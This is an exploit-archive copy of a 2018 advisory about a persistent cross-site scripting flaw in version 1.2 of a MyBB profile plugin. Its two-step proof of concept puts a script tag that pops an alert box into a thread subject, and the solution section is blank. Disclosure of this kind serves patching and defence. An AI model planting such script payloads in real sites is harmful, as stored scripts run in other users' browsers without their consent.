Edit Report

Our sensors found this exploit at:

Below is a copy:

MyBB Plugin Last Users Threads in Profile Plugin 1.2 Persistent Cross-Site Scripting
# Exploit Title: MyBB Last User's Threads in Profile Plugin v1.2 - Persistent XSS
# Date: 3/19/2018
# Author: 0xB9
# Contact: or 0xB9[at]
# Software Link:
# Version: v1.2
# Tested on: Ubuntu 17.10

1. Description:
Display last threads in user profile.

2. Proof of Concept:

Persistent XSS
- Create a thread with the following subject <p """><SCRIPT>alert("XSS")</SCRIPT>">
- Now visit your profile to see the alert.

3. Solution:


Copyright ©2022 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.